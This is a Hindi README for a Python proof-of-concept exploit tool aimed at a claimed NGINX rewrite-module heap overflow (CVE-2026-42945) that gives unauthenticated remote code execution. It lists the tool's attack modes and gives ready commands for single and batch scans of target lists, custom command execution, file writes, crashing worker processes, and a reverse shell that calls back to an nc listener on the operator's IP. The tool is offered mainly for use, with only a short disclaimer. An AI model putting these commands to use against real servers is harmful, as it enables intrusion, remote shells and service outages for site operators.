NGINX Rift RCE शोषण (CVE-2026-42945) @DepthFirstDisclosures से
NGINX Rift भेद्यता, जो ngx_http_rewrite_module में एक गंभीर हीप-आधारित बफर अतिप्रवाह है, के अनुसंधान और पहचान के लिए एक पेशेवर प्रूफ-ऑफ-कॉन्सेप्ट (PoC) उपकरण।
भेद्यता अवलोकन
- CVE आईडी: CVE-2026-42945
- उपनाम: NGINX Rift
- गंभीरता: गंभीर (CVSS 9.2)
- प्रभावित संस्करण: NGINX 0.6.27 से 1.30.0 तक
- मूल कारण: दो-पास रीराइट इंजन में आकार-बेमेल त्रुटि जब अनाम PCRE कैप्चर ($1, $2) और ? युक्त प्रतिस्थापन स्ट्रिंग का उपयोग किया जाता है।
- प्रभाव: अप्रमाणित रिमोट कोड निष्पादन (RCE) या सेवा अस्वीकार (DoS)।
विशेषताएँ
- मल्टी-मोड समर्थन: एकल URL या .txt फ़ाइल से बैच सूची के माध्यम से परीक्षण।
- एकाधिक शोषण विधियाँ:
- id: id कमांड निष्पादित करें (डिफ़ॉल्ट)।
- sleep: समय-आधारित सत्यापन (अंध RCE के लिए आदर्श)।
- write: सामान्य वेब रूट निर्देशिकाओं में फ़ाइल लिखने का प्रयास।
- shell: पायथन-आधारित रिवर्स शेल भेजें।
- crash: एक साधारण वर्कर प्रक्रिया क्रैश ट्रिगर करें (DoS)।
- रंग-कोडित इंटरफ़ेस: असुरक्षित (हरा), सुरक्षित (लाल) और डीबग (पीला/नीला) स्थितियों के लिए स्पष्ट दृश्य संकेतक।
- वर्बोज़ लॉगिंग: शोधकर्ताओं के लिए विस्तृत सॉकेट-स्तरीय इंटरैक्शन।
उपयोग
1. एकल लक्ष्य स्कैन
python3 poc.py --url http://target.com --method id
2. बहु-लक्ष्य बैच स्कैन
targets.txt नामक फ़ाइल बनाएँ जिसमें प्रति पंक्ति एक URL हो:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
फिर चलाएँ:
python3 poc.py --list targets.txt --method sleep
3. कस्टम कमांड और वर्बोज़ मोड
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. रिवर्स शेल
पहले अपना लिसनर प्रारंभ करें: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
परिणामों को समझना
- [+] असुरक्षित (हरा): शोषण ने मेमोरी भ्रष्टाचार हस्ताक्षर ट्रिगर किया। यदि sleep के साथ उपयोग किया गया है, तो जाँचें कि प्रतिक्रिया समय sleep अवधि से मेल खाता है या नहीं।
- [-] लक्ष्य असुरक्षित नहीं है (लाल): शोषण प्रदान किए गए मेमोरी उम्मीदवारों का उपयोग करके क्रैश ट्रिगर नहीं कर सका।
- [DEBUG] (पीला/नीला): हीप स्प्रेइंग और उम्मीदवार पतों पर पृष्ठभूमि जानकारी।
आवश्यकताएँ और सीमाएँ
- Python 3.x: कोई बाहरी लाइब्रेरी आवश्यक नहीं (मानक socket और argparse का उपयोग करता है)।
- ASLR: यह PoC स्थैतिक मेमोरी पतों का उपयोग करता है। ASLR सक्षम प्रणालियों पर, शोषण संभवतः RCE के बजाय सेवा अस्वीकार (DoS) का परिणाम देगा, जब तक कि मेमोरी लीक प्रदान न किया जाए।
- सख्तीकरण: ईग्रेस फ़िल्टरिंग (फ़ायरवॉल) curl या shell विधियों को आपको डेटा वापस भेजने से रोक सकती है। सबसे विश्वसनीय पुष्टि के लिए sleep विधि का उपयोग करें।
अस्वीकरण
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा ऑडिट के लिए है। लेखक इस स्क्रिप्ट के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। किसी भी बुनियादी ढांचे के खिलाफ परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें।